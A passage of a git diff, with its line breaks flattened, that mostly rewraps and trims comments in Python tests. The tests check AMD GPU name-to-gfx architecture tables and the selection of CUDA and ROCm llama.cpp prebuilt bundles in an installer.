"f"through Vulkan:\n{window}"@@ -1348,8 +1336,8 @@ class TestVulkanAdvice:prebuilt = (PACKAGE_ROOT / "studio" / "install_llama_prebuilt.py").read_text(encoding = "utf-8")- # Scoped to the routing function: `if host.is_macos:` appears many times, and an- # earlier cut of this test matched the DYLD_LIBRARY_PATH one instead.+ # Scoped to the routing function: `if host.is_macos:` appears many times, and an earlier cut of this test+ # matched the DYLD_LIBRARY_PATH one instead.routing = next((ast.get_source_segment(prebuilt, node)@@ -1376,7 +1364,6 @@ class TestVulkanAdvice:# ── Polaris, the second card in the cluster (#8458) ──────────────────────────-_POLARIS_NAMES = [("AMD Radeon RX 580", "gfx803"),("AMD Radeon RX 580 Series", "gfx803"),@@ -1385,8 +1372,8 @@ _POLARIS_NAMES = [("AMD Radeon RX 480", "gfx803"),("AMD Radeon RX 470", "gfx803"),("Ellesmere [Radeon RX 470/480/570/570X/580/580X/590]", "gfx803"),- # The Polaris 10 workstation boards: pci.ids groups them on Ellesmere, the RX 580- # die from #8458, and their names carry no RX number for the consumer rows to hit.+ # The Polaris 10 workstation boards: pci.ids groups them on Ellesmere, the RX 580 die from #8458, and their+ # names carry no RX number for the consumer rows to hit.("Ellesmere [Radeon Pro WX 7100 / WX 7100 Mobile / WX 5100 / V7300X / V7350x2]", "gfx803"),("AMD Radeon Pro WX 7100", "gfx803"),("AMD Radeon Pro WX 5100", "gfx803"),diff --git a/tests/studio/install/test_rocm_arch_table_parity.py b/tests/studio/install/test_rocm_arch_table_parity.pyindex 8919754abe9..f1313276fbd 100644--- a/tests/studio/install/test_rocm_arch_table_parity.py+++ b/tests/studio/install/test_rocm_arch_table_parity.py@@ -231,8 +231,6 @@ class TestSupportedWheelArchList:# (case-insensitive, and the only place a negative lookahead is available).# Rather than diff the patterns -- which legitimately differ in syntax -- run# every copy against the same real GPU names and require the same answer.--def _name_table_sh_function(source: str, name: str) -> list[tuple[list[str], str]]:body = _sh_function_body(source, name)rows: list[tuple[list[str], str]] = []@@ -281,20 +279,14 @@ def _match_ps(rows: list[tuple[str, str]], gpu_name: str) -> str | None:return None-# Real strings as amd-smi / rocm-smi / WMI report them, including the two-# ordering traps: "RX 9070 XT" must beat the bare "9070" arm, and "RX 7700S"-# must beat the "RX 7700" arm.-#-# The expectation is the *AMD pip index leaf*, not the gfx id. The leaf is what-# the tables exist to produce -- it picks the wheel -- and it is what a wrong-# answer actually costs the user. Exact gfx ids are pinned separately in-# _AMD_DOCUMENTED_ARCH, sourced from AMD rather than from these tables.+# Real strings as amd-smi / rocm-smi / WMI report them, including the two ordering traps: "RX 9070 XT" must beat the+# bare "9070" arm, and "RX 7700S" must beat the "RX 7700" arm._GPU_NAME_LEAF_CASES = [("AMD Radeon RX 9070 XT", "gfx120X-all"),("AMD Radeon RX 9070", "gfx120X-all"),- # Workstation Navi 48, gfx1201 per rocminfo in #7624 / #7307. Its name holds neither- # "9070" nor "9080", so every table returned None and a host without the HIP SDK, where- # name inference is the only path left, got CPU torch ("not detected", PR #8398).+ # Workstation Navi 48, gfx1201 per rocminfo in #7624 / #7307.+ # Its name holds neither "9070" nor "9080", so every table returned None and a host without the HIP SDK, where name+ # inference is the only path left, got CPU torch ("not detected", PR #8398).("AMD Radeon AI PRO R9700", "gfx120X-all"),("AMD Radeon RX 9060 XT", "gfx120X-all"),("AMD Radeon 8060S Graphics", "gfx1151"),@@ -316,21 +308,12 @@ _GPU_NAME_LEAF_CASES = [("AMD Radeon RX 6500 XT", "gfx103X-all"),]-# Exact gfx ids, transcribed from AMD's ROCm compatibility matrix (the "Radeon-# GPU" list at rocm.docs.amd.com/en/latest/compatibility/compatibility-matrix.html),-# NOT from the installer tables. This is the ground truth the tables are supposed-# to reproduce, so it has to come from outside them.-#-# Three of these were wrong until the commit that added this table: RX 9070-# (non-XT) said gfx1200, RX 7800 XT / 7700 XT / PRO W7700 said gfx1100, and PRO-# V710 said gfx1102. Nobody was misrouted, because each wrong id happened to-# share an index leaf with the right one, which is exactly why it went unnoticed-# through five copies of the table. The leaf assertions above cannot catch that-# class of error; only an external source can.-#-# The APU rows were added after that: Krackan Point (860M / 840M) said gfx1150-# but is gfx1152, and unlike the three above that one DID change the wheel,-# since gfx1150 and gfx1152 are separate index leaves on repo.amd.com.+# Exact gfx ids, transcribed from AMD's ROCm compatibility matrix (the "Radeon GPU" list at+# rocm.docs.amd.com/en/latest/compatibility/compatibility-matrix.html), NOT from the installer tables.+# Three of these were wrong until the commit that added this table: RX 9070 (non-XT) said gfx1200, RX 7800 XT / 7700 XT+# / PRO W7700 said gfx1100, and PRO V710 said gfx1102.+# The APU rows were added after that: Krackan Point (860M / 840M) said gfx1150 but is gfx1152, and unlike the three+# above that one DID change the wheel, since gfx1150 and gfx1152 are separate index leaves on repo.amd.com._AMD_DOCUMENTED_ARCH = {# RDNA 4 -- Navi 48 is gfx1201, Navi 44 is gfx1200."AMD Radeon RX 9070 XT": "gfx1201",@@ -338,10 +321,9 @@ _AMD_DOCUMENTED_ARCH = {"AMD Radeon RX 9070": "gfx1201","AMD Radeon RX 9060 XT": "gfx1200","AMD Radeon RX 9060": "gfx1200",- # Navi 48 again, as the R9000 series workstation card. Sourced from the reporters'+ # Navi 48 again, as the R9000 series workstation card.# own rocminfo output (#7624, #7307), not from these tables."AMD Radeon AI PRO R9700": "gfx1201",- # RDNA 3 -- Navi 31 / 32 / 33."AMD Radeon RX 7900 XTX": "gfx1100","AMD Radeon PRO W7900": "gfx1100","AMD Radeon PRO W7800": "gfx1100",@@ -352,8 +334,9 @@ _AMD_DOCUMENTED_ARCH = {"AMD Radeon RX 7600 XT": "gfx1102","AMD Radeon RX 7700S": "gfx1102","AMD Radeon PRO W7600": "gfx1102",- # RDNA 3.5 APUs -- Strix Point is gfx1150, Krackan Point (860M/840M) is- # gfx1152, per AMD's own lemonade GPU table (src/cpp/server/system_info.cpp).+ # RDNA 3.5 APUs+ # Strix Point is gfx1150, Krackan Point (860M/840M) is gfx1152, per AMD's own lemonade GPU table+ # (src/cpp/server/system_info.cpp)."AMD Radeon 8060S Graphics": "gfx1151","AMD Radeon 890M Graphics": "gfx1150","AMD Radeon 880M Graphics": "gfx1150",@@ -368,12 +351,9 @@ def _name_tables() -> dict[str, object]:"install.sh:_infer_amd_gfx_arch_from_gpu_name": _name_table_sh_function(install_sh, "_infer_amd_gfx_arch_from_gpu_name"),- # install.sh carries the table TWICE. The second copy drives the detection- # banner and, more importantly, the "Tip: set UNSLOTH_ROCM_GFX_ARCH=<arch>"- # line, so a wrong id there gets pasted into a user's environment where it- # becomes authoritative. Neither this copy nor the two below were in this- # parity check until the arch-id fix went looking for every place the- # table lives -- six, not four.+ # install.sh carries the table TWICE.+ # The second copy drives the detection banner and, more importantly, the "Tip: set UNSLOTH_ROCM_GFX_ARCH=<arch>"+ # line, so a wrong id there gets pasted into a user's environment where it becomes authoritative."install.sh:_gpu_disp_gfx": _name_table_sh_case(install_sh, '"$_gpu_disp_mkt"', "_gpu_disp_gfx"),@@ -427,19 +407,13 @@ def _spoof_profiles() -> dict[str, str]:raise AssertionError("_PROFILES not found in tests/_zoo_rocm_spoof.py")-# The spoof fixture states the mapping backwards (gfx -> the name torch should-# report), so it is the one copy written from the hardware's point of view-# instead of the installer's. That makes it a useful independent witness: it had-# gfx1101 -> "RX 7800 XT" and gfx1201 -> "RX 9070 XT" correct while all six-# installer copies were wrong, and nothing compared the two.-#-# RX 6700 XT is a known, deliberate divergence rather than drift. AMD's-# compatibility matrix documents no consumer RX 6000 card and no gfx1031 at all-# (only "AMD Radeon PRO W6800 (gfx1030)"), the installer arm is commented-# "gfx103X family", and no code consumes the exact id -- gfx1031 appears only as-# a key in the index-family maps, never as a value any name table emits. With no-# external source to correct it against, changing shipped behaviour here would be-# guesswork, so the divergence is pinned instead of silently normalised.+# The spoof fixture states the mapping backwards (gfx -> the name torch should report), so it is the one copy written+# from the hardware's point of view instead of the installer's.+# That makes it a useful independent witness: it had gfx1101 -> "RX 7800 XT" and gfx1201 -> "RX 9070 XT" correct while+# all six installer copies were wrong, and nothing compared the two.+# RX 6700 XT is a known, deliberate divergence rather than drift.+# AMD's compatibility matrix documents no consumer RX 6000 card and no gfx1031 at all (only "AMD Radeon PRO W6800+# (gfx1030)"), the installer arm is commented "gfx103X family", and no code consumes the exact id_SPOOF_DIVERGENCES = {"gfx1031": "installers group Navi 22 into the gfx1030 arm; see comment above",}@@ -582,22 +556,16 @@ class TestSpoofFixtureParity:assert answers != {gfx}, f"{gfx} now agrees everywhere; drop it from _SPOOF_DIVERGENCES"+# A table line names a card and gives its arch.# ── The meta-guard: find copies nobody registered ────────────────────────────--# A table line names a card and gives its arch. Matching both on one line is what-# separates a real table from the many files that merely mention a gfx id (kernel-# dispatch, OOM guards, doc comments)._MKT_NAME = re.compile(r"(RX\s*\d{4}|PRO\s*[WV]\d{3,4}|\b90[5-8]0\b)", re.IGNORECASE)_GFX_ID = re.compile(r"gfx1[0-2][0-9a-z]{1,2}")-# Skip dirs of third-party or generated code; scanning them is slow and any hit-# would not be ours to fix.+# Skip dirs of third-party or generated code; scanning them is slow and any hit would not be ours to fix._SCAN_SKIP_DIRS = {".git", "node_modules", ".venv", "venv", "build", "dist", "__pycache__"}# Every file allowed to carry a name/arch table, as a repo-relative posix path.-# Adding a copy means adding it here AND wiring it into a parity check above;-# that is the point of the guard._REGISTERED_TABLE_FILES = {"install.sh","install.ps1",@@ -608,11 +576,9 @@ _REGISTERED_TABLE_FILES = {"tests/_zoo_rocm_spoof.py",}-# Three or more such lines means a table. One or two means prose: the two known-# single-line hits are comments ("Verified on gfx1151 (Radeon 8060S)" in-# scripts/install_rocm_wsl_strixhalo.sh, and a parenthetical in-# studio/install_llama_prebuilt.py). Real tables score 9 to 17, so the gap is-# wide and the threshold is not load-bearing.+# Three or more such lines means a table.+# One or two means prose: the two known single-line hits are comments ("Verified on gfx1151 (Radeon 8060S)" in+# scripts/install_rocm_wsl_strixhalo.sh, and a parenthetical in studio/install_llama_prebuilt.py)._TABLE_LINE_THRESHOLD = 3@@ -643,9 +609,9 @@ def _files_carrying_a_name_arch_table(root: Path = PACKAGE_ROOT) -> dict[str, incontinueif _under_cargo_output(path, root):continue- # Tests that *assert* on the tables quote card names next to gfx ids by- # nature. Fixtures like _zoo_rocm_spoof.py do not start with test_ and so- # stay in scope, which is how the seventh copy surfaced.+ # Tests that *assert* on the tables quote card names next to gfx ids by nature.+ # Fixtures like _zoo_rocm_spoof.py do not start with test_ and so stay in scope, which is how the seventh copy+ # surfaced.if path.name.startswith("test_"):continuetry:@@ -765,13 +731,13 @@ class TestShadowingIntegratedGfxParity:assert self._setup_ps1_list() == set(stack_mod._SHADOWING_INTEGRATED_GFX)def test_install_llama_prebuilt_matches_install_python_stack(self):- # _apply_host_overrides() honours setup's repick only for these arches, so drift- # re-splits torch and llama.cpp across two GPUs on a mixed host.+ # _apply_host_overrides() honours setup's repick only for these arches, so drift re-splits torch and llama.cpp+ # across two GPUs on a mixed host.assert self._prebuilt_list() == set(stack_mod._SHADOWING_INTEGRATED_GFX)def test_strix_is_excluded_from_every_copy(self):- # Supported training targets, not shadowing APUs: listing them would silently- # redirect Strix hosts.+ # Supported training targets, not shadowing APUs: listing them would silently redirect+ # Strix hosts.assert not (self._STRIX & set(stack_mod._SHADOWING_INTEGRATED_GFX))assert not (self._STRIX & self._setup_ps1_list())assert not (self._STRIX & self._prebuilt_list())diff --git a/tests/studio/install/test_rocm_native_linux_lib_dirs.py b/tests/studio/install/test_rocm_native_linux_lib_dirs.pyindex 39663bbc196..fc253f89990 100644--- a/tests/studio/install/test_rocm_native_linux_lib_dirs.py+++ b/tests/studio/install/test_rocm_native_linux_lib_dirs.py@@ -124,8 +124,8 @@ def _call(tmp_path factory branches on it, so a session-wide patch breaks the fixture ona Windows test host."""with patch.object(sys, "platform", platform):- # isdir too: the llvm probe requires a directory, so a fake host that only- # answers exists() would report every nested llvm dir as missing.+ # isdir too: the llvm probe requires a directory, so a fake host that only answers exists() would report every+ # nested llvm dir as missing.with (patch("os.path.exists", _fake_exists(present)),patch("os.path.isdir", _fake_exists(present)),@@ -325,8 +325,8 @@ class TestNativeLinuxRootResolution:def _exists(p):return pinned.get(str(p), None) if str(p) in pinned else real_exists(p)- # A test host may itself have a real /opt/rocm (the default candidate), so- # assert on the bogus entry rather than on the whole list.+ # A test host may itself have a real /opt/rocm (the default candidate), so assert on the bogus entry rather than+ # on the whole list.for where, impl in _impls().items():with (patch.object(sys, "platform", "linux"),diff --git a/tests/studio/install/test_rocm_rdna_routing.py b/tests/studio/install/test_rocm_rdna_routing.pyindex d5a1be74ea8..931f2ca70e8 100644--- a/tests/studio/install/test_rocm_rdna_routing.py+++ b/tests/studio/install/test_rocm_rdna_routing.py@@ -39,8 +39,8 @@ _ARCHES = {"gfx1201": (("rocm", "gfx1201"), "gfx120X"),}-# Child: spoof each arch, then record device_type once (fresh import) and the-# live llama.cpp target per arch. Emits one JSON line the parent parses.+# Child: spoof each arch, then record device_type once (fresh import) and the live llama.cpp target per arch.+# Emits one JSON line the parent parses._CHILD = """import json, syssys.path.insert(0, {tests!r})@@ -70,9 +70,8 @@ print("RESULT " + json.dumps({{"device_type": device_type, "targets": targets}})@pytest.fixture(scope = "module")def routed():code = _CHILD.format(tests = str(_TESTS_DIR), arches = list(_ARCHES))- # get_device_type() returns "mlx" before it ever looks at torch on Darwin arm64- # with mlx installed, so the spoof would be ignored. Force the GPU path to keep- # the assertion live there instead of skipping it.+ # get_device_type() returns "mlx" before it ever looks at torch on Darwin arm64 with mlx installed, so the spoof+ # would be ignored. Force the GPU path to keep the assertion live there instead of skipping it.env = {**os.environ, "UNSLOTH_FORCE_GPU_PATH": "1"}proc = subprocess.run([sys.executable, "-c", code], capture_output = True, text = True, env = env)line = next((l for l in proc.stdout.splitlines() if l.startswith("RESULT ")), None)diff --git a/tests/studio/install/test_selection_logic.py b/tests/studio/install/test_selection_logic.pyindex ce1ed1589e8..1911853321d 100644--- a/tests/studio/install/test_selection_logic.py+++ b/tests/studio/install/test_selection_logic.py@@ -62,15 +62,15 @@ resolve_simple_install_release_plans = INSTALL_LLAMA_PREBUILT.resolve_simple_ins@pytest.fixture(autouse = True)def _reset_uncovered_cuda_warnings(monkeypatch):- # The warning dedupe is module-level state: without this reset, a test's verdict- # depends on which earlier test logged the same reason first.+ # The warning dedupe is module-level state: without this reset, a test's verdict depends on which earlier test+ # logged the same reason first.monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "_UNCOVERED_CUDA_HOST_WARNINGS", set())@pytest.fixture(autouse = True)def _disable_download_host_fast_path(monkeypatch):- # This module exercises the GitHub API enumeration and asset selection against- # mocked releases; keep the download-host fast path (real CDN) out of the way.+ # This module exercises the GitHub API enumeration and asset selection against mocked releases; keep the+ # download-host fast path (real CDN) out of the way.# test_download_host_resolve.py covers the fast path itself.monkeypatch.setenv("UNSLOTH_LLAMA_DISABLE_DOWNLOAD_HOST_RESOLVE", "1")@@ -113,9 +113,6 @@ def load_studio_run_module(monkeypatch):return module-# Helper factories--def make_host(**overrides):system = overrides.pop("system", "Linux")machine = overrides.pop("machine", "x86_64")@@ -272,8 +269,6 @@ def mock_windows_runtime(monkeypatch, lines):# ===========================================================================-# Unsloth run.py localhost warning-# ===========================================================================class TestStudioLocalhostIpv6Warning:@@ -296,8 +291,6 @@ class TestStudioLocalhostIpv6Warning:def _ipv6(port = 8888):return (socket.AF_INET6, socket.SOCK_STREAM, 6, "", ("::1", port, 0, 0))- # -- _localhost_ipv6_mismatch_url ---def test_ipv4_localhost_does_not_warn(self, monkeypatch):run_module = load_studio_run_module(monkeypatch)self._prepare_loopback(run_module, monkeypatch)@@ -383,8 +376,6 @@ class TestStudioLocalhostIpv6Warning:assert run_module._localhost_ipv6_mismatch_url("127.0.0.1", 8888) is None- # -- _emit_startup_output (banner / warning wiring) ---def _wire_recorders(self, run_module, monkeypatch):calls = {"banner": [], "warning": [], "stop_hint": 0, "reachability": []}monkeypatch.setattr(@@ -513,8 +504,8 @@ class TestCompatibleWindowsRuntimeLines:@pytest.mark.parametrize("minor", [0, 1, 2, 3])def test_cuda12_runs_on_any_12_x_driver(self, minor):- # Regression: Windows previously gated cuda12 below a 12.4 driver, but minor-version- # compat runs toolkit-12.8 bundles on any 12.x driver, same as Linux.+ # Regression: Windows previously gated cuda12 below a 12.4 driver, but minor-version compat runs toolkit-12.8+ # bundles on any 12.x driver, same as Linux.host = make_host(driver_cuda_version = (12, minor))assert compatible_windows_runtime_lines(host) == ["cuda12"]@@ -532,8 +523,6 @@ class TestCompatibleWindowsRuntimeLines:# ===========================================================================-# I. apply_approved_hashes-# ===========================================================================class TestApplyApprovedHashes:@@ -648,8 +637,6 @@ class TestApplyApprovedHashes:# ===========================================================================-# J. published release resolution-# ===========================================================================class TestPublishedReleaseResolution:@@ -984,8 +971,8 @@ class TestValidatedChecksumsForBundle:validated_checksums_for_bundle("unslothai/llama.cpp", bundle)def test_rejects_exact_source_without_repo(self, monkeypatch):- # An exact source archive with no repo to clone from would silently fall back- # to upstream source at the tag, so validation must fail closed.+ # An exact source archive with no repo to clone from would silently fall back to upstream source at the tag, so+ # validation must fail closed.bundle = make_release([], release_tag = "r1", upstream_tag = "b8508")checksums = make_checksums_with_source([], release_tag = "r1", upstream_tag = "b8508", source_commit = "a" * 40@@ -1000,8 +987,8 @@ class TestValidatedChecksumsForBundle:validated_checksums_for_bundle("unslothai/llama.cpp", bundle)def test_accepts_exact_source_when_only_bundle_has_repo(self, monkeypatch):- # The source repo can live only in the manifest bundle, not the checksums;- # validation must accept the bundle's repo rather than failing closed.+ # The source repo can live only in the manifest bundle, not the checksums; validation must accept the bundle's+ # repo rather than failing closed.bundle = make_release([],release_tag = "r1",@@ -1189,10 +1176,9 @@ class TestLinuxCudaChoiceFromRelease:assert result.primary.runtime_line == "cuda13"def test_volta_host_needs_the_cuda12_line(self, monkeypatch, capsys):- # Issue #7765: CUDA 13 dropped sm_70, so a V100 whose only runtime line is cuda13- # (torch from the cu130 index) gets no bundle and GGUF inference silently moves to- # the CPU. The selection log only prints when an attempt survives, so the reason- # has to reach the user another way.+ # Issue #7765: CUDA 13 dropped sm_70, so a V100 whose only runtime line is cuda13 (torch from the cu130 index)+ # gets no bundle and GGUF inference silently moves to the CPU. The selection log only prints when an attempt+ # survives, so the reason has to reach the user another way.mock_linux_runtime(monkeypatch, ["cuda13"])host = make_host(driver_cuda_version = (13, 0), compute_caps = ["70"])art12 = make_artifact(@@ -1208,8 +1194,8 @@ class TestLinuxCudaChoiceFromRelease:assert linux_cuda_choice_from_release(host, release) is Nonewarning = capsys.readouterr().errassert "sm_70" in warning- # The pin, not a promise about what a re-run picks: these GPUs are the masked- # view, while the installer weighs every physical GPU.+ # The pin, not a promise about what a re-run picks: these GPUs are the masked view, while the installer weighs+ # every physical GPU.assert "UNSLOTH_TORCH_INDEX_FAMILY=cu126" in warning# The same host with a CUDA 12 runtime in the venv reaches its bundle.@@ -1219,8 +1205,8 @@ class TestLinuxCudaChoiceFromRelease:assert result.primary.name == "bundle-cuda12-older.tar.gz"def test_cu126_advice_reaches_a_mixed_host_cu126_can_serve(self, monkeypatch, capsys):- # A Volta beside an Ampere is what cu126 exists for, and the cuda12 portable- # bundle covers both. Withholding the remedy would contradict the installer.+ # A Volta beside an Ampere is what cu126 exists for, and the cuda12 portable bundle covers both. Withholding+ # the remedy would contradict the installer.mock_linux_runtime(monkeypatch, ["cuda13"])host = make_host(driver_cuda_version = (13, 0), compute_caps = ["70", "86"])release = make_release(@@ -1355,8 +1341,6 @@ class TestLinuxCudaChoiceFromRelease:assert result.primary.install_kind == "linux-arm64-cuda"assert result.primary.name == "app-b9457-linux-arm64-cuda13-portable.tar.gz"- # --- SM matching ----def test_exact_sm_match(self, monkeypatch):mock_linux_runtime(monkeypatch, ["cuda12"])host = make_host(compute_caps = ["86"])@@ -1408,8 +1392,6 @@ class TestLinuxCudaChoiceFromRelease:result = linux_cuda_choice_from_release(host, release)assert result is None- # --- Unknown compute caps (empty list) ----def test_unknown_caps_only_portable(self, monkeypatch):mock_linux_runtime(monkeypatch, ["cuda12"])host = make_host(compute_caps = [])@@ -1428,8 +1410,6 @@ class TestLinuxCudaChoiceFromRelease:result = linux_cuda_choice_from_release(host, release)assert result is None- # --- Multi-GPU ----def test_multi_gpu_all_covered(self, monkeypatch):mock_linux_runtime(monkeypatch, ["cuda12"])host = make_host(compute_caps = ["75", "89"])@@ -1451,8 +1431,6 @@ class TestLinuxCudaChoiceFromRelease:result = linux_cuda_choice_from_release(host, release)assert result is None- # --- Artifact selection priority ----def test_narrowest_sm_range_wins(self, monkeypatch):mock_linux_runtime(monkeypatch, ["cuda12"])host = make_host(compute_caps = ["86"])@@ -1509,8 +1487,6 @@ class TestLinuxCudaChoiceFromRelease:assert len(result.attempts) == 2assert result.attempts[1].name == "portable.tar.gz"- # --- Edge cases ----def test_asset_missing_from_release_assets(self, monkeypatch):mock_linux_runtime(monkeypatch, ["cuda12"])host = make_host(compute_caps = ["86"])@@ -1560,8 +1536,6 @@ class TestLinuxCudaChoiceFromRelease:# ===========================================================================-# L. resolve_install_attempts-# ===========================================================================class TestResolveInstallAttempts:@@ -1687,9 +1661,8 @@ class TestResolveInstallAttempts:assert approved.release_tag == "llama-prebuilt-latest"def test_linux_cpu_fork_without_bundle_raises_no_upstream_fallback(self, monkeypatch):- # A CPU-only Linux host on the fork never falls back to the ggml-org CPU- # asset. CPU-only Linux now routes to the fork, but if a release manifest- # happens to ship no CPU bundle the resolver raises rather than quietly+ # A CPU-only Linux host on the fork never falls back to the ggml-org CPU asset. CPU-only Linux now routes to+ # the fork, but if a release manifest happens to ship no CPU bundle the resolver raises rather than quietly# reaching for an upstream asset.host = make_host(has_usable_nvidia = False,@@ -1841,9 +1814,8 @@ class TestResolveInstallAttempts:def test_cpu_host_prefers_published_fork_asset(self, monkeypatch, system, machine, asset_name, install_kind, bundle_profile):- # CPU-only hosts now select the fork's CPU bundle from the manifest and- # must never query ggml-org upstream assets. Windows x64 CPU is covered- # separately by test_windows_cpu_prefers_published_asset.+ # CPU-only hosts now select the fork's CPU bundle from the manifest and must never query ggml-org upstream+ # assets. Windows x64 CPU is covered separately by test_windows_cpu_prefers_published_asset.host = make_host(system = system,machine = machine,@@ -2091,8 +2063,8 @@ class TestResolveInstallAttempts:class TestResolveInstallReleasePlans:def _cuda_bundle(self, asset_name, release_tag, upstream_tag):- # Fork CUDA bundle covering the default NVIDIA host (sm 86, cuda12), so each- # release yields a plan via linux_cuda_choice_from_release.+ # Fork CUDA bundle covering the default NVIDIA host (sm 86, cuda12), so each release yields a plan via+ # linux_cuda_choice_from_release.art = make_artifact(asset_name,install_kind = "linux-cuda",@@ -2197,8 +2169,6 @@ class TestResolveInstallReleasePlans:# ===========================================================================-# N. windows_cuda_attempts-# ===========================================================================class TestWindowsCudaAttempts:@@ -2236,8 +2206,8 @@ class TestWindowsCudaAttempts:assert result[1].runtime_line == "cuda12"def test_driver_below_published_minor_is_gated_to_cuda12(self, monkeypatch):- # A 13.0 driver can't run a 13.1 build (forward minor), so it is gated off- # cuda13 to the cuda12 build, even when only cuda13 runtime libs are detected.+ # A 13.0 driver can't run a 13.1 build (forward minor), so it is gated off cuda13 to the cuda12 build, even when+ # only cuda13 runtime libs are detected.mock_windows_runtime(monkeypatch, ["cuda13"])host = make_host(system = "Windows", machine = "AMD64", driver_cuda_version = (13, 0))assets = self._upstream("13.1", "12.4")@@ -2376,8 +2346,8 @@ class TestWindowsCudaAttempts:assert result[0].runtime_name == "cudart-llama-bin-win-cuda-13.3-x64.zip"def test_driver_below_published_minor_does_not_get_newer_build(self, monkeypatch):- # Only cuda-13.3 published; a 13.1 driver can't run it (forward minor), so it is- # gated to cuda-12.4. A 13.3 driver still gets 13.3 (other tests).+ # Only cuda-13.3 published; a 13.1 driver can't run it (forward minor), so it is gated to cuda-12.4.+ # A 13.3 driver still gets 13.3 (other tests).mock_windows_runtime(monkeypatch, ["cuda13", "cuda12"])host = make_host(system = "Windows", machine = "AMD64", driver_cuda_version = (13, 1))assets = self._upstream("13.3", "12.4")@@ -2403,8 +2373,7 @@ class TestWindowsCudaAttempts:assert result[0].name == f"llama-{self.TAG}-bin-win-cuda-14.0-x64.zip"def test_new_cuda_major_degrades_to_published_cuda13(self, monkeypatch):- # A 14.x driver with no cuda14 build runs the newest published cuda13- # build via backward compatibility.+ # A 14.x driver with no cuda14 build runs the newest published cuda13 build via backward compatibility.mock_windows_runtime(monkeypatch, ["cuda13", "cuda12"])host = make_host(system = "Windows", machine = "AMD64", driver_cuda_version = (14, 0))assets = self._upstream("13.3", "12.4")@@ -2531,8 +2500,8 @@ class TestDirectUpstreamBlackwellPin:)plan = direct_upstream_release_plan(self._release(), host, UPSTREAM_REPO, "latest")order = [(a.tag, a.runtime_line or a.install_kind) for a in plan.attempts]- # cuda-12.4 (no sm_120) is dropped entirely on Blackwell, and there is no pinned- # b9360 fallback anymore, so the host falls through to the windows-cpu build.+ # cuda-12.4 (no sm_120) is dropped entirely on Blackwell, and there is no pinned b9360 fallback anymore, so the+ # host falls through to the windows-cpu build.assert order == [(self.TAG, "windows-cpu")]assert "b9360" not in [a.tag for a in plan.attempts]# Direct/upstream path stays unverified-by-manifest (no approved hashes).@@ -2555,8 +2524,6 @@ class TestDirectUpstreamBlackwellPin:# N.1c2. Blackwell never falls to a non-sm_120 windows-cuda attempt--class TestBlackwellCuda124Exclusion:"""A Blackwell host must never have a windows-cuda attempt that can't offload sm_120 anywhere in its chain."""@@ -2591,8 +2558,8 @@ class TestBlackwellCuda124Exclusion:assert [a.name for a in kept] == ["llama-b9365-bin-win-cuda-13.3-x64.zip"]def test_keeps_manifest_cuda12_bundle_with_sm120(self):- # Published cuda12 app bundles are toolkit-12.8 builds with sm_120; manifest SM- # metadata must keep them on Blackwell.+ # Published cuda12 app bundles are toolkit-12.8 builds with sm_120; manifest SM metadata must keep them on+ # Blackwell.bundle = AssetChoice(repo = "unslothai/llama.cpp",tag = "b9585",@@ -2816,9 +2783,8 @@ class TestResolveReleaseAssetChoicePin:def test_no_cuda_attempt_on_published_path_for_13_1(self, monkeypatch):mock_windows_runtime(monkeypatch, ["cuda13", "cuda12"])self._no_torch(monkeypatch)- # After the published Blackwell filter drops every attempt, the resolver- # walks back to the upstream release; stub that fetch so the unit test stays- # offline (a live GitHub call is blocked by the security scanner) and the+ # After the published Blackwell filter drops every attempt, the resolver walks back to the upstream release;+ # stub that fetch so the unit test stays offline (a live GitHub call is blocked by the security scanner) and the# walk-back deterministically finds no usable CUDA build -> PrebuiltFallback.monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "github_release_assets", lambda repo, tag: {})release = self._release([("13.3", "cuda13"), ("12.4", "cuda12")])@@ -2829,9 +2795,9 @@ class TestResolveReleaseAssetChoicePin:driver_cuda_version = (13, 1),compute_caps = ["120"],)- # The sm_120-incapable upstream cuda-12.4 zip is dropped on Blackwell, and there- # is no pinned b9360 fallback anymore, so no usable windows-cuda attempt remains- # and the manifest resolver walks back instead of selecting cuda-12.4.+ # The sm_120-incapable upstream cuda-12.4 zip is dropped on Blackwell, and there is no pinned b9360 fallback+ # anymore, so no usable windows-cuda attempt remains and the manifest resolver walks back instead of selecting+ # cuda-12.4.with pytest.raises(PrebuiltFallback):resolve_release_asset_choice(host, self.TAG, release, checksums)@@ -2899,8 +2865,7 @@ class TestPublishedWindowsCudaAppBundleSmSelection:)result = published_windows_cuda_attempts(host, release, None)assert result, "expected a windows-cuda attempt for an sm120 host"- # Not the lowest-rank "older" bundle (max_sm 89); the tightest covering bundle- # is cuda12-newer (range 86-120).+ # Not the lowest-rank "older" bundle (max_sm 89); the tightest covering bundle is cuda12-newer (range 86-120).assert result[0].name == f"app-{self.TAG}-windows-x64-cuda12-newer.zip"def _line(self, line, klass, rank):@@ -2917,8 +2882,8 @@ class TestPublishedWindowsCudaAppBundleSmSelection:)def test_cuda13_reachable_on_driver_13_0(self, monkeypatch):- # Regression: a synthetic '13.1' minor gate dropped the whole cuda13 line on a- # 13.0 driver; cuda13 app bundles are gated at the major level now.+ # Regression: a synthetic '13.1' minor gate dropped the whole cuda13 line on a 13.0 driver; cuda13 app bundles+ # are gated at the major level now.mock_windows_runtime(monkeypatch, ["cuda13", "cuda12"])release = make_release([self._line("cuda12", "newer", 20), self._line("cuda13", "newer", 50)],@@ -2936,9 +2901,9 @@ class TestPublishedWindowsCudaAppBundleSmSelection:assert result[0].name == f"app-{self.TAG}-windows-x64-cuda13-newer.zip"def test_app_bundle_offered_when_no_runtime_dll_detected(self, monkeypatch):- # torch bundles cudart in torch/lib, which DLL probing misses, so detection- # returns nothing; the app bundle ships its own runtime, so selection must- # fall back to the driver-derived order rather than drop to the upstream build.+ # torch bundles cudart in torch/lib, which DLL probing misses, so detection returns nothing; the app bundle+ # ships its own runtime, so selection must fall back to the driver-derived order rather than drop to the+ # upstream build.mock_windows_runtime(monkeypatch, [])release = make_release([self._line("cuda12", "newer", 20), self._line("cuda13", "newer", 50)],@@ -3032,8 +2997,8 @@ class TestPublishedRocmGfxSelection:)def test_in_prefix_but_unbuilt_arch_returns_none(self):- # gfx1033 shares the gfx103 prefix but isn't in any bundle's mapped_targets, so- # it must fall back to source, not be served gfx103X.+ # gfx1033 shares the gfx103 prefix but isn't in any bundle's mapped_targets, so it must fall back to source,+ # not be served gfx103X.release = self._release("linux-rocm", "app-b9457-linux-x64-rocm")for unbuilt in ("gfx1033", "gfx1035", "gfx1104", "gfx1202"):assert (@@ -3044,11 +3009,9 @@ class TestPublishedRocmGfxSelection:), unbuiltdef 